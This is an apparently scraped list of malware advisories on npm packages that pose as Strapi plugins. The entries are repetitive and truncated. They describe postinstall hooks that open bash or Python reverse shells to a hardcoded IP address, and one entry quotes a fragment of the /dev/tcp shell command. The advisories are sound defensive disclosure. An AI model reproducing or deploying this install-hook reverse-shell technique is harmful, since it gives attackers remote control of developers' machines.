Malicious code in strapi-plugin-ccrev-meeb (npm)

Source: amazon-inspector cbcdfb404042de180795640d5ea266d8fe50afff5d180b3da0eab17f979369f3 postinstall.js executes automatically on npm install and opens a bash reverse shell via /dev/tcp redirection to the hardcoded remote endpoint 14.225.210.85:80, retrying up to 5 times. Execution is gated by a...

Malicious code in strapi-plugin-cccon-meeb (npm)

Source: amazon-inspector b6c0ca5cf1881ed03c4a8b91832bcd8f65854bd36d9b764843370d26f599c2a0 postinstall.js runs automatically on npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granting that host interactive command execution on the installi...

Malicious code in strapi-plugin-conresh-meeb (npm)

Source: amazon-inspector d117fca143f7c8f02261755b923b29cae47f8fdcca2f69f169e26a5601b3661a The package declares a postinstall lifecycle hook "postinstall": "node postinstall.js" that executes on every npm install. postinstall.js invokes childprocess.exec with a bash reverse-shell command connectin...

Malicious code in strapi-plugin-feedmeeb (npm)

Source: amazon-inspector 7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5 [email protected] ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form bash -i & /dev/tcp/14.225.210.85/80 0&1...

Malicious code in strapi-plugin-portcc-meeb (npm)

Source: amazon-inspector 5f04ef6b35ce447e6825a520a88eda4fe27ebfe6214648906db673e7d57ea86b Package advertises itself as a Strapi plugin but ships no plugin functionality; the entire payload is postinstall.js, which is also declared as the package main. On install, postinstall.js checks os.hostname...

Malicious code in strapi-plugin-maylog-meeb (npm)

Source: amazon-inspector 8d714c1585f058d5ac528832398ffe2d0035fd8b60e97e461cdfa8e1533e851c The package's postinstall.js lifecycle script executes automatically on npm install and spawns a python3 reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:80 and attaches an...

Malicious code in strapi-plugin-ccrec-meeb (npm)

Source: amazon-inspector 27dd1178f43debcd9babc6630aa303b6953e7572d994f8efe3acc75db2cc878e The package's postinstall lifecycle script postinstall.js executes a bash /dev/tcp reverse shell to the hardcoded remote endpoint 14.225.210.85:80, giving the operator of that host an interactive shell on th...

Malicious code in strapi-plugin-listcc-meeb (npm)

Source: amazon-inspector 63bef6a3804e282781fb0eaea1ffd045ef3b236aefd0668de11549aba1ada8b0 [email protected] declares scripts.postinstall = 'node postinstall.js' and points main at the same file, so npm install auto-executes postinstall.js. That script spawns a Python one-liner via...

MAL-2026-16228 Malicious code in strapi-plugin-ccrev-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cbcdfb404042de180795640d5ea266d8fe50afff5d180b3da0eab17f979369f3 postinstall.js executes automatically on npm install and opens a bash reverse shell via /dev/tcp redirection to the hardcoded remote endpoint...

Malicious code in strapi-plugin-ccrev-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cbcdfb404042de180795640d5ea266d8fe50afff5d180b3da0eab17f979369f3 postinstall.js executes automatically on npm install and opens a bash reverse shell via /dev/tcp redirection to the hardcoded remote endpoint...

Malicious code in strapi-plugin-ccrec-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 27dd1178f43debcd9babc6630aa303b6953e7572d994f8efe3acc75db2cc878e The package's postinstall lifecycle script postinstall.js executes a bash /dev/tcp reverse shell to the hardcoded remote endpoint 14.225.210.85:80,...

MAL-2026-16227 Malicious code in strapi-plugin-ccrec-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 27dd1178f43debcd9babc6630aa303b6953e7572d994f8efe3acc75db2cc878e The package's postinstall lifecycle script postinstall.js executes a bash /dev/tcp reverse shell to the hardcoded remote endpoint 14.225.210.85:80,...

Malicious code in strapi-plugin-cccon-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6c0ca5cf1881ed03c4a8b91832bcd8f65854bd36d9b764843370d26f599c2a0 postinstall.js runs automatically on npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granti...

MAL-2026-16225 Malicious code in strapi-plugin-cccon-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6c0ca5cf1881ed03c4a8b91832bcd8f65854bd36d9b764843370d26f599c2a0 postinstall.js runs automatically on npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granti...

Malicious code in strapi-plugin-persh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67ce68eeb9a309b5fff512e24a1b8f4c12fb171c0752d6a04293a4e72c805088 [email protected] ships a postinstall.js also declared as the package main that runs automatically on npm install. The script spawns a...

MAL-2026-16237 Malicious code in strapi-plugin-persh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67ce68eeb9a309b5fff512e24a1b8f4c12fb171c0752d6a04293a4e72c805088 [email protected] ships a postinstall.js also declared as the package main that runs automatically on npm install. The script spawns a...

MAL-2026-16239 Malicious code in strapi-plugin-pysh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 188e8ecd93a0124135c178af848914dbd0f8cc7c3f9fdc7f5137fc94e46bb27d [email protected] ships a postinstall.js also declared as the package main that runs automatically on npm install. The script uses...

Malicious code in strapi-plugin-perev-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29840a9eddc4894177d910b38ef1808c0ba7a402c267160fe8e86cff48873700 The npm postinstall hook executes postinstall.js, which uses childprocess to spawn a Python reverse shell that connects to the hardcoded remote host...

MAL-2026-16236 Malicious code in strapi-plugin-perev-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29840a9eddc4894177d910b38ef1808c0ba7a402c267160fe8e86cff48873700 The npm postinstall hook executes postinstall.js, which uses childprocess to spawn a Python reverse shell that connects to the hardcoded remote host...

MAL-2026-16226 Malicious code in strapi-plugin-ccip-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fbf7a24da69c80ba7475efcb12c97f1be8b4ebbed42b47131ac9716ff38d5620 [email protected] declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script...